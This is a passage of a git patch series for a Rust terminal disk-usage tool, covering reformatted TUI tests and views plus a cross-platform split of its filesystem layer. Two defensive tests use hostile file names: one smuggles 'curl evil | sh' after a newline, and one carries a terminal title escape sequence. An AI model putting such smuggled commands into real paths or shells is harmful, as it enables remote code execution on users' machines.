&t.read().unwrap(), id); m.open_modal(md); let out = check_frame(&mut m, 120, 40); - assert!(out.contains(r"\x1b]0;pwned\x07"), "escaped name not shown:\n{out}"); + assert!( + out.contains(r"\x1b]0;pwned\x07"), + "escaped name not shown:\n{out}" + ); } #[test] @@ -321,15 +410,26 @@ fn level_of_detail_groups_tiny_files() { m.zoom_to(&t.read().unwrap(), tiny); m.view(); let l = m.tm.clone().unwrap(); - assert!(l.blocks.len() as i32 <= 100 * 30 / TOP_MIN_AREA + 1, "{} blocks for 2000 equal files: LOD not applied", l.blocks.len()); - assert!(l.groups.contains_key(&group_id(tiny)), "expected a group block for small items"); + assert!( + l.blocks.len() as i32 <= 100 * 30 / TOP_MIN_AREA + 1, + "{} blocks for 2000 equal files: LOD not applied", + l.blocks.len() + ); + assert!( + l.groups.contains_key(&group_id(tiny)), + "expected a group block for small items" + ); } #[test] fn ctrl_c_quits_when_idle() { let mut m = new_test_model(); send(&mut m, vec![size(80, 24)]); - m.update(Msg::Key(Key { name: "ctrl+c".into(), text: String::new(), ctrl_alt: true })); + m.update(Msg::Key(Key { + name: "ctrl+c".into(), + text: String::new(), + ctrl_alt: true, + })); assert!(m.quit, "Ctrl+C should quit when no scan runs"); } @@ -341,23 +441,45 @@ fn mouse() { // Click the centre of a block other than the selected one. let target = { let t = m.tree.read().unwrap(); - m.tm.as_ref().unwrap().blocks.iter().copied() + m.tm.as_ref() + .unwrap() + .blocks + .iter() + .copied() .find(|b| b.id != m.sel && b.id >= 0 && t.node(b.id as NodeId).is_dir() && b.rect.w > 4) .unwrap() }; - let click = || Msg::Click { x: target.rect.x + target.rect.w / 2, y: target.rect.y + target.rect.h / 2, button: Button::Left }; + let click = || Msg::Click { + x: target.rect.x + target.rect.w / 2, + y: target.rect.y + target.rect.h / 2, + button: Button::Left, + }; send(&mut m, vec![click()]); assert_eq!(m.sel, target.id, "click selected the wrong block"); m.view(); send(&mut m, vec![click()]); // second click within the double-click window assert_eq!(m.zoom as i64, target.id, "double click should zoom"); m.view(); - send(&mut m, vec![Msg::Wheel { x: 50, y: 20, up: false }]); + send( + &mut m, + vec![Msg::Wheel { + x: 50, + y: 20, + up: false, + }], + ); assert_eq!(m.zoom, 0, "wheel down should zoom out"); // A modal swallows clicks; clicking outside closes it. send(&mut m, vec![key("?")]); m.view(); - send(&mut m, vec![Msg::Click { x: 0, y: 39, button: Button::Left }]); + send( + &mut m, + vec![Msg::Click { + x: 0, + y: 39, + button: Button::Left, + }], + ); assert!(m.modals.is_empty(), "click outside modal should close it"); } @@ -370,12 +492,20 @@ fn quantizers() { assert!(n >= 16, "256 quantizer used palette-dependent index {n}"); // A dark, slightly tinted shade must land on the grey ramp or a dark // cube entry, not a saturated one like olive (58) or navy (17). - assert!(![58, 17, 22].contains(&n), "dark tint mapped to saturated {n}"); + assert!( + ![58, 17, 22].contains(&n), + "dark tint mapped to saturated {n}" + ); } #[test] fn colour_depths_render_same_geometry() { - for p in [Profile::TrueColor, Profile::Ansi256, Profile::Ansi, Profile::Ascii] { + for p in [ + Profile::TrueColor, + Profile::Ansi256, + Profile::Ansi, + Profile::Ascii, + ] { let mut m = new_test_model(); m.profile = p; send(&mut m, vec![size(100, 30)]); @@ -388,11 +518,23 @@ fn colour_depths_render_same_geometry() { fn copy_refuses_control_characters() { let mut m = new_test_model(); m.copy_path(b"/srv/x\ncurl evil | sh\n"); - assert!(m.toast.starts_with("Not copied"), "hostile path copied: {:?}", m.toast); + assert!( + m.toast.starts_with("Not copied"), + "hostile path copied: {:?}", + m.toast + ); m.copy_path(&[b"/srv/media/".as_slice(), HOSTILE].concat()); - assert!(m.toast.starts_with("Not copied"), "escape sequence copied: {:?}", m.toast); + assert!( + m.toast.starts_with("Not copied"), + "escape sequence copied: {:?}", + m.toast + ); m.copy_path("/srv/photos 日本語/img001.jpg".as_bytes()); - assert!(m.toast.starts_with("Copied"), "plain path refused: {:?}", m.toast); + assert!( + m.toast.starts_with("Copied"), + "plain path refused: {:?}", + m.toast + ); } // ---- nest_test.go ----------------------------------------------------------- @@ -431,9 +573,18 @@ fn nesting_reaches_deep_media() { let mut m = model_for(root_tree()); send(&mut m, vec![size(160, 45)]); let out = strip(m.view()); - assert!(out.contains("mnt/raid/media/") && out.contains("S01/"), "chain or seasons missing:\n{out}"); + assert!( + out.contains("mnt/raid/media/") && out.contains("S01/"), + "chain or seasons missing:\n{out}" + ); let t = m.tree.read().unwrap(); - let files = m.tm.as_ref().unwrap().nested.iter().filter(|nb| nb.id >= 0 && !t.node(nb.id as NodeId).is_dir()).count(); + let files = + m.tm.as_ref() + .unwrap() + .nested + .iter() + .filter(|nb| nb.id >= 0 && !t.node(nb.id as NodeId).is_dir()) + .count(); assert!(files >= 50, "only {files} episode blocks drawn"); } @@ -453,7 +604,12 @@ fn reveal_headless_zooms_map() { m.snapshot = false; // reveal is refused for snapshots (m.sel, m.user_sel) = (mnt as i64, true); send(&mut m, vec![key("o")]); - assert_eq!(m.zoom, mnt, "zoom = {}, want mnt", m.tree.read().unwrap().path_string(m.zoom)); + assert_eq!( + m.zoom, + mnt, + "zoom = {}, want mnt", + m.tree.read().unwrap().path_string(m.zoom) + ); } // ---- live_test.go ----------------------------------------------------------- @@ -467,12 +623,24 @@ fn live_scan_rendering() { let d = root.0.join(format!("d{i:02}")).join("sub"); std::fs::create_dir_all(&d).unwrap(); for j in 0..40 { - std::fs::write(d.join(format!("f{j}.log")), vec![0u8; (i + 1) * (j + 1) * 100]).unwrap(); + std::fs::write( + d.join(format!("f{j}.log")), + vec![0u8; (i + 1) * (j + 1) * 100], + ) + .unwrap(); } } let path = root.0.as_os_str().as_bytes().to_vec(); let start: StartFn = Arc::new(move |c: Cancel| { - let s = scan::start(&path, scan::Options { workers: 4, chunk_size: 3, ..Default::default() }, c)?; + let s = scan::start( + &path, + scan::Options { + workers: 4, + chunk_size: 3, + ..Default::default() + }, + c, + )?; let t = s.tree.clone(); Ok((Some(s), t)) }); diff --git a/src/tui/theme.rs b/src/tui/theme.rs index f99f200..9360c47 100644 --- a/src/tui/theme.rs +++ b/src/tui/theme.rs @@ -119,7 +119,11 @@ fn high_contrast_theme() -> Theme { } fn mono_theme() -> Theme { - Theme { name: "mono", mono: true, ..Theme::default() } + Theme { + name: "mono", + mono: true, + ..Theme::default() + } } /// Returns a built-in theme with user overrides applied. diff --git a/src/tui/views.rs b/src/tui/views.rs index 6dd44bb..34a9e14 100644 --- a/src/tui/views.rs +++ b/src/tui/views.rs @@ -4,11 +4,14 @@ use super::actions::DupView; use super::canvas::{Canvas, Color, Style, BOLD}; use super::infoview::InfoView; use super::mapview::{map_key, map_paint, map_wheel}; -use super::model::{Cmd, Model}; use super::modals::new_info_modal; +use super::model::{Cmd, Model}; use super::table::{col, Table, TableRow}; use super::{fmt_date, san}; -use crate::inventory::{ExtStat, Kind, NodeId, SizeMode, TopK, Tree, FLAG_DELETED, FLAG_HARDLINKED, FLAG_HARDLINK_DUP, FLAG_SPARSE, NO_NODE}; +use crate::inventory::{ + ExtStat, Kind, NodeId, SizeMode, TopK, Tree, FLAG_DELETED, FLAG_HARDLINKED, FLAG_HARDLINK_DUP, + FLAG_SPARSE, NO_NODE, +}; use crate::snapshot::{Change, Status}; use crate::textutil; use crate::treemap::Rect; @@ -159,16 +162,31 @@ impl ListView { name.push('/'); files = textutil::count(n.files as i64); } - let modified = if n.mtime > 0 { fmt_date(n.mtime) } else { String::new() }; + let modified = if n.mtime > 0 { + fmt_date(n.mtime) + } else { + String::new() + }; let c = m.color_of(tr, id as i64); let mut name_st = Style::new(c.mix(t.fg, 0.45), t.bg); if n.is_dir() { name_st.attr = BOLD; } - let frac = if k.sizes[0] > 0 { k.sizes[i] as f64 / k.sizes[0] as f64 } else { 0.0 }; + let frac = if k.sizes[0] > 0 { + k.sizes[i] as f64 / k.sizes[0] as f64 + } else { + 0.0 + }; let muted = Some(Style::new(t.muted, t.bg)); let mut row = TableRow { - cells: vec![textutil::size(k.sizes[i]), textutil::percent(k.sizes[i], total), String::new(), files, modified, name], + cells: vec![ + textutil::size(k.sizes[i]), + textutil::percent(k.sizes[i], total), + String::new(), + files, + modified, + name, + ], styles: vec![None, muted, None, muted, muted, Some(name_st)], bar: frac, bar_col: c, @@ -178,15 +196,29 @@ impl ListView { } rows.push(row); } - let mut cols = vec![col("SIZE", 10, true, false), col("%", 5, true, false), col("", 12, false, false), - col("FILES", 10, true, false), col("MODIFIED", 10, false, false), col("NAME", 0, false, false)]; + let mut cols = vec![ + col("SIZE", 10, true, false), + col("%", 5, true, false), + col("", 12, false, false), + col("FILES", 10, true, false), + col("MODIFIED", 10, false, false), + col("NAME", 0, false, false), + ]; if m.opts.diff.is_some() { cols[4] = col("CHANGE", 12, true, false); } if r.w < 70 { - cols = vec![col("SIZE", 10, true, false), col("%", 5, true, false), col("NAME", 0, false, false)]; + cols = vec![ + col("SIZE", 10, true, false), + col("%", 5, true, false), + col("NAME", 0, false, false), + ]; for row in rows.iter_mut() { - row.cells = vec![std::mem::take(&mut row.cells[0]), std::mem::take(&mut row.cells[1]), std::mem::take(&mut row.cells[5])]; + row.cells = vec![ + std::mem::take(&mut row.cells[0]), + std::mem::take(&mut row.cells[1]), + std::mem::take(&mut row.cells[5]), + ]; row.styles = vec![None, row.styles[1], row.styles[5]]; } } @@ -247,22 +279,56 @@ impl ExtView { let rows: Vec = st .iter() .map(|s| { - let ext = if s.ext.is_empty() { "(none)".to_string() } else { format!(".{}", s.ext) }; - let c = t.ext.as_ref().and_then(|e| e.get(&s.ext)).copied().unwrap_or(t.cat[s.cat as usize]); - let frac = if v0 > 0 { pick(m, s) as f64 / v0 as f64 } else { 0.0 }; + let ext = if s.ext.is_empty() { + "(none)".to_string() + } else { + format!(".{}", s.ext) + }; + let c = t + .ext + .as_ref() + .and_then(|e| e.get(&s.ext)) + .copied() + .unwrap_or(t.cat[s.cat as usize]); + let frac = if v0 > 0 { + pick(m, s) as f64 / v0 as f64 + } else { + 0.0 + }; TableRow { - cells: vec![textutil::sanitize(&ext), s.cat.name().into(), textutil::count(s.count), textutil::size(pick(m, s)), - textutil::percent(pick(m, s), total), String::new()], - styles: vec![Some(Style::new(c, t.bg).with(BOLD)), Some(Style::new(t.muted, t.bg)), None, None, - Some(Style::new(t.muted, t.bg)), None], + cells: vec![ + textutil::sanitize(&ext), + s.cat.name().into(), + textutil::count(s.count), + textutil::size(pick(m, s)), + textutil::percent(pick(m, s), total), + String::new(), + ], + styles: vec![ + Some(Style::new(c, t.bg).with(BOLD)), + Some(Style::new(t.muted, t.bg)), + None, + None, + Some(Style::new(t.muted, t.bg)), + None, + ], bar: frac, bar_col: c, } }) .collect(); - let cols = [col("EXTENSION", 14, false, false), col("CATEGORY", 12, false, false), col("FILES", 11, true, false), - col("SIZE", 10, true, false), col("%", 5, true, false), col("", 0, false, false)]; - let title = format!("File types under {} — Enter filters the map by extension", san(&tr.node(m.zoom).name)); + let cols = [ + col("EXTENSION", 14, false, false), + col("CATEGORY", 12, false, false), + col("FILES", 11, true, false), + col("SIZE", 10, true, false), + col("%", 5, true, false), + col("", 0, false, false), + ]; + let title = format!( + "File types under {} — Enter filters the map by extension", + san(&tr.node(m.zoom).name) + ); self.tb.paint(m, cv, r, &cols, &rows, &title); } @@ -273,7 +339,11 @@ impl ExtView { } if (k == "enter" || k == "space") && self.tb.at() < st.len() { let e = &st[self.tb.at()].ext; - let q = if e.is_empty() { "type = file AND ext = \"\"".to_string() } else { format!("ext = \"{e}\"") }; + let q = if e.is_empty() { + "type = file AND ext = \"\"".to_string() + } else { + format!("ext = \"{e}\"") + }; m.set_view_by_name("Map"); return (true, m.set_filter(&q)); } @@ -295,10 +365,25 @@ enum TopMode { Hardlinks, } -const TOP_MODES: [TopMode; 7] = [TopMode::Files, TopMode::Dirs, TopMode::Old, TopMode::New, TopMode::Count, TopMode::Sparse, TopMode::Hardlinks]; +const TOP_MODES: [TopMode; 7] = [ + TopMode::Files, + TopMode::Dirs, + TopMode::Old, + TopMode::New, + TopMode::Count, + TopMode::Sparse, + TopMode::Hardlinks, +]; -const TOP_NAMES: [&str; 7] = ["Largest files", "Largest directories (own files)", "Oldest large files", "Newest large files", - "Most files", "Sparse files", "Hard-linked files"]; +const TOP_NAMES: [&str; 7] = [ + "Largest files", + "Largest directories (own files)", + "Oldest large files", + "Newest large files", + "Most files", + "Sparse files", + "Hard-linked files", +]; const TOP_LIMIT: usize = 500; @@ -319,7 +404,9 @@ impl TopView { return; } (self.cache_key, self.computed) = (k, true); - let is_file = |n: &crate::inventory::Node| n.kind == Kind::File && n.flags & (FLAG_HARDLINK_DUP | FLAG_DELETED) == 0; + let is_file = |n: &crate::inventory::Node| { + n.kind == Kind::File && n.flags & (FLAG_HARDLINK_DUP | FLAG_DELETED) == 0 + }; let matches = |id: NodeId| m.search.result.as_ref().is_none_or(|r| r.size(id) > 0); let mut tk = TopK::new(TOP_LIMIT); let mut val: HashMap = HashMap::new(); @@ -358,7 +445,14 @@ impl TopView { } TopMode::Old | TopMode::New => { if sz >= LARGE_FILE && n.mtime > 0 { - tk.offer(id, if mode == TopMode::Old { -n.mtime } else { n.mtime }); + tk.offer( + id, + if mode == TopMode::Old { + -n.mtime + } else { + n.mtime + }, + ); val.insert(id, sz); } } @@ -390,8 +484,16 @@ impl TopView { let mut rows = Vec::with_capacity(self.ids.len()); for (i, &id) in self.ids.iter().enumerate() { let n = tr.node(id); - let val = if self.mode == TopMode::Count { textutil::count(self.vals[i]) } else { textutil::size(self.vals[i]) }; - let modified = if n.mtime > 0 { fmt_date(n.mtime) } else { String::new() }; + let val = if self.mode == TopMode::Count { + textutil::count(self.vals[i]) + } else { + textutil::size(self.vals[i]) + }; + let modified = if n.mtime > 0 { + fmt_date(n.mtime) + } else { + String::new() + }; let frac = if first > 0 && self.mode != TopMode::Old && self.mode != TopMode::New { self.vals[i] as f64 / first as f64 } else { @@ -400,12 +502,20 @@ impl TopView { let c = m.color_of(tr, id as i64); rows.push(TableRow { cells: vec![val, modified, String::new(), san(&tr.path_bytes(id))], - styles: vec![None, Some(Style::new(t.muted, t.bg)), None, Some(Style::new(c.mix(t.fg, 0.45), t.bg))], + styles: vec![ + None, + Some(Style::new(t.muted, t.bg)), + None, + Some(Style::new(c.mix(t.fg, 0.45), t.bg)), + ], bar: frac, bar_col: c, }); } - let mut title = format!("◂ {} ▸ (←/→ change list · Enter details · Space jump to it)", TOP_NAMES[self.mode as usize]); + let mut title = format!( + "◂ {} ▸ (←/→ change list · Enter details · Space jump to it)", + TOP_NAMES[self.mode as usize] + ); if m.search.result.is_some() { title += " · filtered"; } @@ -414,7 +524,12 @@ impl TopView { TopMode::Sparse => "SAVED", _ => "SIZE", }; - let cols = [col(val_title, 10, true, false), col("MODIFIED", 10, false, false), col("", 10, false, false), col("PATH", 0, false, true)]; + let cols = [ + col(val_title, 10, true, false), + col("MODIFIED", 10, false, false), + col("", 10, false, false), + col("PATH", 0, false, true), + ]; self.tb.paint(m, cv, r, &cols, &rows, &title); } @@ -487,18 +602,45 @@ impl ChangesView { Status::Unchanged => Color::default(), }; TableRow { - cells: vec![textutil::signed_size(c.delta), c.status.name().into(), textutil::size(c.old), textutil::size(c.new), - String::new(), textutil::sanitize(&c.path)], - styles: vec![Some(Style::new(col, t.bg).with(BOLD)), Some(Style::new(col, t.bg)), Some(Style::new(t.muted, t.bg)), None, None, None], + cells: vec![ + textutil::signed_size(c.delta), + c.status.name().into(), + textutil::size(c.old), + textutil::size(c.new), + String::new(), + textutil::sanitize(&c.path), + ], + styles: vec![ + Some(Style::new(col, t.bg).with(BOLD)), + Some(Style::new(col, t.bg)), + Some(Style::new(t.muted, t.bg)), + None, + None, + None, + ], bar: c.delta.abs() as f64 / max_abs as f64, bar_col: col, } }) .collect(); - let cols = [col("CHANGE", 13, true, false), col("STATUS", 9, false, false), col("OLD", 10, true, false), - col("NEW", 10, true, false), col("", 10, false, false), col("PATH", 0, false, true)]; - let (ro, rn) = (d.old.node(0).total(m.size_mode), tr.node(0).total(m.size_mode)); - let title = format!("Changes {} → {} ({})", textutil::size(ro), textutil::size(rn), textutil::signed_size(rn - ro)); + let cols = [ + col("CHANGE", 13, true, false), + col("STATUS", 9, false, false), + col("OLD", 10, true, false), + col("NEW", 10, true, false), + col("", 10, false, false), + col("PATH", 0, false, true), + ]; + let (ro, rn) = ( + d.old.node(0).total(m.size_mode), + tr.node(0).total(m.size_mode), + ); + let title = format!( + "Changes {} → {} ({})", + textutil::size(ro), + textutil::size(rn), + textutil::signed_size(rn - ro) + ); self.tb.paint(m, cv, r, &cols, &rows, &title); } @@ -511,7 +653,10 @@ impl ChangesView { let c = &self.rows.as_ref().unwrap()[self.tb.at()]; if c.node == NO_NODE { if k == "enter" || k == "space" { - let msg = format!("Removed since the old snapshot: {}", textutil::sanitize(&c.path)); + let msg = format!( + "Removed since the old snapshot: {}", + textutil::sanitize(&c.path) + ); return (true, m.info(msg)); } return (false, Cmd::None); -- 2.53.0 From fcac50bae6d64fb724c80aca76b14530fa80f2dd Mon Sep 17 00:00:00 2001 From: Andy Dixon Date: Thu, 8 Oct 2026 20:06:22 +0100 Subject: [PATCH 08/12] Build and behave correctly on every release target Split platform into a portable core (mod.rs) plus unix.rs and windows.rs. - Linux: statx through syscall(2) so static musl links (fstatat fallback on ENOSYS); virtual-fs detection compares f_type as u32. - macOS: Finder trash (~/.Trash or /Volumes/X/.Trashes/, "name N" collisions, EXDEV falls through to the next location) and `open -R` reveal; never headless. - FreeBSD/NetBSD: fstatat with birth time; trash and reveal unsupported, permanent delete still available on headless systems. - Windows: std read_dir and metadata, allocated size unknown, no inode identity, Recycle Bin via SHFileOperationW (FOF_ALLOWUNDO, all architectures), Explorer /select reveal, no permanent delete, '\\' separator with Windows glob semantics, abs paths via GetFullPathNameW, config in %AppData%. - Local time via a portable LocalTime helper (localtime_r tm_gmtoff on Unix, SystemTimeToTzSpecificLocalTime on Windows) replacing libc tm and mktime in the TUI, snapshot and filter code. - errno, stat field names and mode_t width handled per OS; Unix-only tests gated; clippy clean on all targets. Adds windows-sys =0.61.2 (Windows only; Win32_Foundation, Win32_System_Time, Win32_UI_Shell), already in the lockfile via crossterm. --- Cargo.lock | 1 + Cargo.toml | 3 + src/config.rs | 8 +- src/duplicate.rs | 10 +- src/filter/eval.rs | 4 +- src/filter/parser.rs | 21 +- src/inventory/mod.rs | 9 +- src/inventory/stats.rs | 20 +- src/platform/mod.rs | 1014 +++++++++++++-------------------------- src/platform/unix.rs | 797 ++++++++++++++++++++++++++++++ src/platform/windows.rs | 200 ++++++++ src/scan.rs | 15 +- src/snapshot/mod.rs | 62 +-- src/textutil.rs | 2 +- src/tui/keys.rs | 6 +- src/tui/mod.rs | 27 +- src/tui/model.rs | 14 +- src/tui/render.rs | 6 +- src/tui/run.rs | 2 +- src/tui/tests.rs | 3 +- 20 files changed, 1412 insertions(+), 812 deletions(-) create mode 100644 src/platform/unix.rs create mode 100644 src/platform/windows.rs diff --git a/Cargo.lock b/Cargo.lock index 4150d0d..9205b91 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -194,6 +194,7 @@ dependencies = [ "sha2", "unicode-segmentation", "unicode-width", + "windows-sys 0.61.2", ] [[package]] diff --git a/Cargo.toml b/Cargo.toml index 044ac2c..8db12b0 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -17,6 +17,9 @@ serde_json = "1" unicode-segmentation = "1" unicode-width = "0.2" +[target.'cfg(windows)'.dependencies] +windows-sys = { version = "=0.61.2", features = ["Win32_Foundation", "Win32_System_Time", "Win32_UI_Shell"] } + [profile.release] lto = true codegen-units = 1 diff --git a/src/config.rs b/src/config.rs index 3dcfe7c..5715cb3 100644 --- a/src/config.rs +++ b/src/config.rs @@ -44,14 +44,18 @@ impl Default for Settings { } } -/// The config file location. +/// The config file location: `/mapsize/config.json` where dir is +/// %AppData% on Windows, ~/Library/Application Support on macOS, and +/// $XDG_CONFIG_HOME or ~/.config elsewhere. pub fn path() -> Option { let env = |k: &str| { std::env::var_os(k) .filter(|v| !v.is_empty()) .map(PathBuf::from) }; - let dir = if cfg!(target_os = "macos") { + let dir = if cfg!(windows) { + env("AppData")? + } else if cfg!(target_os = "macos") { env("HOME")?.join("Library/Application Support") } else { env("XDG_CONFIG_HOME").or_else(|| env("HOME").map(|h| h.join(".config")))? diff --git a/src/duplicate.rs b/src/duplicate.rs index 1fd640d..fec328b 100644 --- a/src/duplicate.rs +++ b/src/duplicate.rs @@ -14,7 +14,6 @@ use sha2::{Digest, Sha256}; use std::collections::HashMap; use std::fs::File; use std::io::{self, Read}; -use std::os::unix::fs::FileExt; use std::path::PathBuf; use std::sync::atomic::{AtomicI64, AtomicUsize, Ordering}; use std::sync::{Mutex, RwLock}; @@ -229,7 +228,7 @@ fn sample_hash(_: &Finder, c: &Cand) -> Option<[u8; 32]> { let mut h = Sha256::new(); let mut buf = vec![0u8; SAMPLE_SIZE as usize]; for off in [0, c.size / 2 - SAMPLE_SIZE / 2, c.size - SAMPLE_SIZE] { - match fh.read_exact_at(&mut buf, off as u64) { + match platform::read_exact_at(&fh, &mut buf, off as u64) { Ok(()) => {} Err(e) if e.kind() == io::ErrorKind::UnexpectedEof => {} // shrank; stage 3 rejects it Err(_) => return None, @@ -263,14 +262,12 @@ fn full_hash(f: &Finder, c: &Cand) -> Option<[u8; 32]> { mod tests { use super::*; use crate::scan::{self, tests::TempDir}; - use std::os::unix::ffi::OsStrExt; use std::path::Path; use std::sync::Arc; - use std::time::Duration; fn scan(root: &Path, workers: usize) -> Arc> { let s = scan::start( - root.as_os_str().as_bytes(), + root.as_os_str().as_encoded_bytes(), scan::Options { workers, ..Default::default() @@ -323,8 +320,11 @@ mod tests { /// A candidate replaced by a FIFO (or a symlink to one) after the scan /// must be skipped, not block the search forever in open(2). + #[cfg(unix)] #[test] fn find_skips_swapped_fifo() { + use std::os::unix::ffi::OsStrExt; + use std::time::Duration; let root = TempDir::new("dupfifo"); let other = TempDir::new("dupfifo2"); for n in ["a", "b", "c"] { diff --git a/src/filter/eval.rs b/src/filter/eval.rs index 24ed7e1..7142c81 100644 --- a/src/filter/eval.rs +++ b/src/filter/eval.rs @@ -98,8 +98,8 @@ impl<'a> Ctx<'a> { .filter(|p| !p.is_empty()) { self.path.push_str(pp); - if !pp.ends_with('/') { - self.path.push('/'); + if !pp.ends_with(platform::SEP as char) { + self.path.push(platform::SEP as char); } push_lower(&mut self.path, &self.node.name); return; diff --git a/src/filter/parser.rs b/src/filter/parser.rs index 7633c07..4de7ccb 100644 --- a/src/filter/parser.rs +++ b/src/filter/parser.rs @@ -1,6 +1,7 @@ use super::eval::{Expr, NumOp}; use super::lexer::{lex, TokKind, Token}; use crate::inventory::{self as inv, Flags}; +use crate::platform::days_from_civil; use regex::Regex; use std::time::{Duration, SystemTime, UNIX_EPOCH}; @@ -561,24 +562,6 @@ fn days_in(y: i64, m: i64) -> i64 { } } -/// Days since 1970-01-01 of a proleptic Gregorian date. -fn days_from_civil(y: i64, m: i64, d: i64) -> i64 { - let y = if m <= 2 { y - 1 } else { y }; - let era = y.div_euclid(400); - let yoe = y - era * 400; - let doy = (153 * (m + if m > 2 { -3 } else { 9 }) + 2) / 5 + d - 1; - let doe = yoe * 365 + yoe / 4 - yoe / 100 + doy; - era * 146097 + doe - 719468 -} - fn local_nanos(y: i64, mo: i64, d: i64, h: i64, mi: i64) -> Option { - let mut tm: libc::tm = unsafe { std::mem::zeroed() }; - tm.tm_year = (y - 1900) as i32; - tm.tm_mon = (mo - 1) as i32; - tm.tm_mday = d as i32; - tm.tm_hour = h as i32; - tm.tm_min = mi as i32; - tm.tm_isdst = -1; - let t = unsafe { libc::mktime(&mut tm) }; - (t != -1).then(|| t as i64 * 1_000_000_000) + Some(crate::platform::local_to_unix(y, mo, d, h, mi) * 1_000_000_000) } diff --git a/src/inventory/mod.rs b/src/inventory/mod.rs index 315a6c6..cda018b 100644 --- a/src/inventory/mod.rs +++ b/src/inventory/mod.rs @@ -13,9 +13,8 @@ pub use category::*; pub use query::*; pub use stats::*; +use crate::platform; use std::collections::HashMap; -use std::ffi::OsStr; -use std::os::unix::ffi::OsStrExt; use std::path::PathBuf; /// Addresses a node within one Tree. The root is always 0. @@ -310,8 +309,8 @@ impl Tree { } let mut out = Vec::with_capacity(parts.iter().map(|p| p.len() + 1).sum()); for p in parts.iter().rev() { - if !out.is_empty() && out.last() != Some(&b'/') { - out.push(b'/'); + if !out.is_empty() && !out.last().is_some_and(|&b| platform::is_sep(b)) { + out.push(platform::SEP); } out.extend_from_slice(p); } @@ -320,7 +319,7 @@ impl Tree { /// Reconstructs the full path of id. pub fn path(&self, id: NodeId) -> PathBuf { - PathBuf::from(OsStr::from_bytes(&self.path_bytes(id))) + platform::path_from_bytes(&self.path_bytes(id)) } /// The full path as (lossy) UTF-8, unsanitised. diff --git a/src/inventory/stats.rs b/src/inventory/stats.rs index 2c9369c..2685296 100644 --- a/src/inventory/stats.rs +++ b/src/inventory/stats.rs @@ -42,16 +42,18 @@ impl ErrKind { /// Maps an OS error to an ErrKind. pub fn classify(err: &io::Error) -> ErrKind { + #[cfg(unix)] match err.raw_os_error() { - Some(libc::EACCES) | Some(libc::EPERM) => ErrKind::Permission, - Some(libc::ENOENT) => ErrKind::Vanished, - Some(libc::ELOOP) => ErrKind::Loop, - Some(libc::EIO) => ErrKind::Io, - _ => match err.kind() { - io::ErrorKind::PermissionDenied => ErrKind::Permission, - io::ErrorKind::NotFound => ErrKind::Vanished, - _ => ErrKind::Other, - }, + Some(libc::EACCES | libc::EPERM) => return ErrKind::Permission, + Some(libc::ENOENT) => return ErrKind::Vanished, + Some(libc::ELOOP) => return ErrKind::Loop, + Some(libc::EIO) => return ErrKind::Io, + _ => {} + } + match err.kind() { + io::ErrorKind::PermissionDenied => ErrKind::Permission, + io::ErrorKind::NotFound => ErrKind::Vanished, + _ => ErrKind::Other, } } diff --git a/src/platform/mod.rs b/src/platform/mod.rs index bb1a180..7106c18 100644 --- a/src/platform/mod.rs +++ b/src/platform/mod.rs @@ -1,19 +1,57 @@ -//! OS-specific filesystem metadata and file operations (Unix; Linux first). -//! Nothing else in the program calls libc for filesystem work. +//! OS-specific filesystem metadata and file operations behind a small common +//! API. Nothing else in the program calls the OS directly for filesystem +//! work; the per-OS halves live in `unix.rs` and `windows.rs`. +//! +//! Per OS: +//! * Linux: statx relative to the directory fd (birth time), virtual +//! filesystem detection, freedesktop.org trash, xdg-open. +//! * macOS: fstatat relative to the directory fd, Finder trash, `open -R`. +//! * FreeBSD, NetBSD: fstatat relative to the directory fd; no trash or +//! reveal (permanent delete only, offered on headless systems). +//! * Windows: std directory listing and metadata. Allocated size is unknown +//! and there is no inode identity, so symlinks are never followed and hard +//! links are not deduplicated. Recycle Bin and Explorer reveal; no +//! permanent delete. use std::collections::HashMap; -use std::ffi::{CStr, CString, OsStr}; +use std::ffi::OsStr; use std::fs::File; -use std::io::{self, Write}; -use std::os::fd::{AsRawFd, FromRawFd, OwnedFd, RawFd}; -use std::os::unix::ffi::OsStrExt; -use std::os::unix::fs::{MetadataExt, OpenOptionsExt}; +use std::io; use std::path::{Path, PathBuf}; -use std::sync::atomic::{AtomicBool, Ordering}; use std::sync::Mutex; -/// File mode bits in Go's io/fs.FileMode layout. Kept so snapshots stay -/// byte-compatible with the Go implementation. +#[cfg(unix)] +mod unix; +#[cfg(unix)] +pub use unix::*; +#[cfg(windows)] +mod windows; +#[cfg(windows)] +pub use windows::*; + +/// File mode bits as stored in snapshots, identical on every OS so that +/// snapshots are portable. +/// +/// The low 9 bits are the rwxrwxrwx permissions. Bits 31 down to 19 are +/// flags, rendered by [`mode::string`] with one letter each: +/// +/// | bit | letter | meaning | +/// |-----|--------|---------| +/// | 31 | d | directory | +/// | 30 | a | append-only | +/// | 29 | l | exclusive use | +/// | 28 | T | temporary | +/// | 27 | L | symbolic link | +/// | 26 | D | device | +/// | 25 | p | named pipe (FIFO) | +/// | 24 | S | Unix domain socket | +/// | 23 | u | setuid | +/// | 22 | g | setgid | +/// | 21 | c | character device (with D) | +/// | 20 | t | sticky | +/// | 19 | ? | irregular (none of the above types) | +/// +/// A regular file has none of the type bits (d L D p S c ?) set. pub mod mode { pub const DIR: u32 = 1 << 31; pub const APPEND: u32 = 1 << 30; @@ -41,7 +79,8 @@ pub mod mode { m & SYMLINK != 0 } - /// Formats like Go's FileMode.String, e.g. "drwxr-xr-x". + /// Formats the mode as the set flag letters (in bit order, or "-" if + /// none) followed by rwxrwxrwx, e.g. "drwxr-xr-x", "Lrwxrwxrwx". pub fn string(m: u32) -> String { const STR: &[u8] = b"dalTLDpSugct?"; let mut out = String::with_capacity(12); @@ -60,35 +99,11 @@ pub mod mode { } } -/// Converts a Unix st_mode to the Go FileMode layout. -pub fn mode_from_unix(m: u32) -> u32 { - let mut out = m & 0o777; - out |= match m & libc::S_IFMT { - libc::S_IFDIR => mode::DIR, - libc::S_IFLNK => mode::SYMLINK, - libc::S_IFIFO => mode::NAMED_PIPE, - libc::S_IFSOCK => mode::SOCKET, - libc::S_IFCHR => mode::DEVICE | mode::CHAR_DEVICE, - libc::S_IFBLK => mode::DEVICE, - _ => 0, - }; - if m & libc::S_ISUID != 0 { - out |= mode::SETUID; - } - if m & libc::S_ISGID != 0 { - out |= mode::SETGID; - } - if m & libc::S_ISVTX != 0 { - out |= mode::STICKY; - } - out -} - /// Metadata of one directory entry. #[derive(Debug, Default)] pub struct Meta { pub name: Vec, - pub mode: u32, // Go FileMode layout + pub mode: u32, // see `mode` pub size: i64, pub alloc: i64, pub alloc_known: bool, @@ -99,175 +114,10 @@ pub struct 